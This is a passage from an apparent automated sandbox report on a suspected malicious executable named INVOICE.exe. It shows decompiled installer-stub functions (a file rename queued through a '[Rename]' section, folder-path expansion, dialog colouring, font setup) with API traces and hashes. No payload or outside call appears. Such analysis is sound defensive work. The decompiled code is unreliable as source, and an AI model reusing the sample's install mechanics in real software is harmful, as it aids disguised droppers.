				_t44 =  *(_t52 + 0x14);
				 *0x430908 = 0x55004e;
				 *0x43090c = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x431108, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x430508, "%ls=%ls\r\n", 0x430908, 0x431108);
						_t53 = _t52 + 0x10;
						E0040657A(_t37, 0x400, 0x431108, 0x431108,  *((intOrPtr*)( *0x434f10 + 0x128)));
						_t12 = E0040602D(0x431108, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004060B0(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405F92(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405F92(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405FE8(_t24 + _t46, 0x430508, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E004060DF(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E0040602D(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x430908, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00406183
0x0040618c
0x00406193
0x0040619d
0x004061b1
0x004061d9
0x004061e4
0x004061e8
0x00406208
0x0040620f
0x00406219
0x00406226
0x0040622b
0x00406230
0x00406234
0x00406243
0x00406245
0x00406252
0x00406256
0x004062f1
0x00000000
0x0040626c
0x00406279
0x0040629d
0x004062a1
0x004062c0
0x004062c4
0x004062c4
0x004062c6
0x004062cf
0x004062da
0x004062e5
0x004062eb
0x00000000
0x004062eb
0x004062a3
0x004062a6
0x004062b1
0x004062ad
0x004062af
0x004062b0
0x004062b0
0x004062b8
0x004062ba
0x00000000
0x004062ba
0x00406284
0x0040628a
0x00000000
0x0040628a
0x00406256
0x00406234
0x004061b3
0x004061be
0x004061c7
0x004061cb
0x00000000
0x00000000
0x004061cb
0x004062fc

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,0040631E,?,?), ref: 004061BE
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004061C7

Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4

GetShortPathNameW.KERNEL32(?,00431108,00000400), ref: 004061E4
wsprintfA.USER32 ref: 00406202
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 0040623D
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 0040624C
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406284
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062DA
GlobalFree.KERNEL32(00000000), ref: 004062EB
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F2

Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\INVOICE.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053

Strings

%ls=%ls, xrefs: 004061F8
[Rename], xrefs: 0040626C, 0040627E

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 6203cc16da91056e546519e3ab518561ff1c14b2742299aa71b9d8e7299f7fea
Instruction ID: 71978d88b6039f89b25a0dfa2ffa892efa56fbf884cfe692307f7793e751c739
Opcode Fuzzy Hash: 6203cc16da91056e546519e3ab518561ff1c14b2742299aa71b9d8e7299f7fea
Instruction Fuzzy Hash: 6A314670200716BBD2207B659D48F6B3A6CEF45754F15017EFA42F62C2EA3CA821867D

Uniqueness

Uniqueness Score: -1.00%

Function 0040657A Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0040657A(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				intOrPtr _t93;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t93 =  *0x433edc; // 0x680020
					_t44 =  *(_t93 - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x434f38 + _t44 * 2;
				_t45 = 0x432ea0;
				_t108 = 0x432ea0;
				if(_a4 >= 0x432ea0 && _a4 - 0x432ea0 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E0040653D(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E0040657A(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x432ea0;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x436000;
								E0040653D(_t108, (_t78 << 0xb) + 0x436000);
							} else {
								E00406484(_t108,  *0x434f08);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004067C4(_t108);
							}
							goto L38;
						}
						if( *0x434f84 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x434f04;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x434f08,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x434f08,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E0040640B( *0x434f38, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x434f38 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E0040657A(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x0040657a
0x0040657a
0x0040657a
0x00406580
0x00406585
0x00406587
0x00406596
0x00406596
0x0040659e
0x0040659f
0x004065a0
0x004065a1
0x004065a4
0x004065ac
0x004065ae
0x004065bf
0x004065c2
0x004065c2
0x004065c6
0x004065cc
0x004065cf
0x004067aa
0x004067aa
0x004067b5
0x004067c1
0x004067c1
0x00000000
0x004065d5
0x004065da
0x004065ef
0x004065f0
0x004065f6
0x00406788
0x00406796
0x00406799
0x00406799
0x0040678a
0x0040678d
0x00406790
0x00406792
0x00406792
0x0040679b
0x0040679b
0x004067a1
0x004067a4
0x004065d7
0x00000000
0x004065d7
0x00000000
0x004067a4
0x004065fc
0x004065ff
0x0040660e
0x00406615
0x00406621
0x00406624
0x00406627
0x00406628
0x0040662d
0x00406633
0x00406636
0x00406639
0x0040672c
0x00406731
0x00406764
0x00406769
0x0040676e
0x00406773
0x00406773
0x00406778
0x0040677e
0x00406781
0x00000000
0x00406781
0x00406733
0x00406736
0x00406739
0x0040674e
0x00406755
0x0040673b
0x00406742
0x00406742
0x0040675d
0x00406760
0x00406724
0x00406725
0x00406725
0x00000000
0x00406760
0x00406646
0x0040664a
0x0040664a
0x0040664b
0x0040664d
0x0040668a
0x0040668d
0x0040669d
0x004066a0
0x004066a8
0x004066ae
0x004066ae
0x00406709
0x00406709
0x0040670b
0x00000000
0x00000000
0x004066b2
0x004066b7
0x004066b8
0x004066ba
0x004066d1
0x004066df
0x004066e5
0x004066e7
0x00406705
0x00406705
0x00406705
0x00000000
0x00406705
0x004066ed
0x004066f6
0x004066f9
0x004066ff
0x00406703
0x00000000
0x00000000
0x00000000
0x00406703
0x004066cb
0x004066cd
0x004066cf
0x00000000
0x00000000
0x00000000
0x004066cf
0x00000000
0x00406709
0x00406695
0x00000000
0x0040664f
0x0040666d
0x00406676
0x00406713
0x00406717
0x0040671f
0x0040671f
0x00000000
0x00406717
0x00406680
0x0040670d
0x00406711
0x00000000
0x00000000
0x00000000
0x00406711
0x0040664d
0x00000000
0x004065da

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406695
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000,00000000,00425A20,772523A0), ref: 004066A8
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000), ref: 00406779

Strings

Call, xrefs: 004065A4, 00406657, 0040665E, 00406662, 0040667F, 00406694, 004066A7, 004066BC, 004066E9, 0040671E, 00406724, 00406741, 00406754, 00406772, 00406778, 00406781, 004067B7
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406719
Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll, xrefs: 0040659F
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406663

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-1259422313
Opcode ID: 0b784a7e5946d1979f34278c46bba3f41134a9dae7c042527df4b3408295a3c8
Instruction ID: 685928b229c5d1fd60d609eb920d771e11fa4d776b5b66b0bad6c944a0f90ddf
Opcode Fuzzy Hash: 0b784a7e5946d1979f34278c46bba3f41134a9dae7c042527df4b3408295a3c8
Instruction Fuzzy Hash: 1D61D131900205EADB209F64DD80BAE77A5EF54318F22813BE907B72D0D77D99A1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00404500 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404500(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x00404512
0x004045c8
0x00000000
0x004045c8
0x00404523
0x00404527
0x00000000
0x00404541
0x00404541
0x0040454a
0x00000000
0x00000000
0x0040454c
0x00404558
0x0040455b
0x0040455b
0x00404561
0x00404567
0x00404567
0x00404573
0x00404579
0x00404580
0x00404583
0x00404586
0x00404588
0x00404588
0x00404590
0x00404596
0x00404596
0x004045a0
0x004045a5
0x004045a8
0x004045ad
0x004045b0
0x004045b0
0x004045c0
0x004045c0
0x00000000
0x004045c3

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040451D
GetSysColor.USER32(00000000), ref: 0040455B
SetTextColor.GDI32(?,00000000), ref: 00404567
SetBkMode.GDI32(?,?), ref: 00404573
GetSysColor.USER32(?), ref: 00404586
SetBkColor.GDI32(?,?), ref: 00404596
DeleteObject.GDI32(?), ref: 004045B0
CreateBrushIndirect.GDI32(?), ref: 004045BA

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: 19446832cb8519ea1938040ed984131457e28e93d0b00b9b4dc42373f0e33a15
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: 382177B1500705AFCB31DF68DD08B5BBBF8AF41714B058A2EEA96B22E1C734E944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004067C4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004067C4(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405E83(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405E39(L"*?|<>/\":", _t5))) == 0) {
							E00405FE8(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004067c6
0x004067cf
0x004067e6
0x004067e6
0x004067ed
0x004067f9
0x004067f9
0x004067fc
0x004067ff
0x00406804
0x00406806
0x0040680f
0x00406813
0x00406830
0x00406838
0x00406838
0x0040683d
0x0040683f
0x00406842
0x00406847
0x00406848
0x0040684c
0x0040684c
0x0040684d
0x00406854
0x00406856
0x0040685d
0x00000000
0x00000000
0x00406865
0x0040686b
0x00000000
0x00000000
0x00000000
0x0040686b
0x00406870

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,77253420,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406827
CharNextW.USER32(?,?,?,00000000,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406836
CharNextW.USER32(?,00000000,77253420,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040683B
CharPrevW.USER32(?,?,77253420,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040684E

Strings

*?|<>/":, xrefs: 00406816
C:\Users\user\AppData\Local\Temp\, xrefs: 004067C5

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2977677972
Opcode ID: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction ID: 8e05d213a2b26a47bd0c986db1e6a85e10b5e067f284fb5e9645f7af11a9ce3c
Opcode Fuzzy Hash: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction Fuzzy Hash: 7311862780161295DB313B158C44A77A2A8AF58798F56843FED86B32C1E77C8C9282AD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E54(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404e62
0x00404e6f
0x00404e75
0x00404eb3
0x00404eb3
0x00404ec2
0x00404ec9
0x00000000
0x00404ecb
0x00404e77
0x00404e86
0x00404e8e
0x00404e91
0x00404ea3
0x00404ea9
0x00404eb0
0x00000000
0x00404eb0
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E6F
GetMessagePos.USER32 ref: 00404E77
ScreenToClient.USER32(?,?), ref: 00404E91
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EA3
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC9

Strings

f, xrefs: 00404EA5

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 177f1d0b32132a6560496663958852c5fe6f1b23f9da62007dee57caca3d7f28
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 34014C71900219BADB00DBA4DD85BFFBBB8AB54711F10012BBA50B61C0D7B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce00 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce07 = 1;
				 *0x40ce04 = _t15 & 0x00000001;
				 *0x40ce05 = _t15 & 0x00000002;
				 *0x40ce06 = _t15 & 0x00000004;
				E0040657A(_t9, _t31, _t33, "Calibri New Roman",  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf0);
				_push(_t18);
				_push(_t31);
				E00406484();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 0040657A: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040671F
Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll,00000000), ref: 00406779

CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3

Strings

Calibri New Roman, xrefs: 00401EB9

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

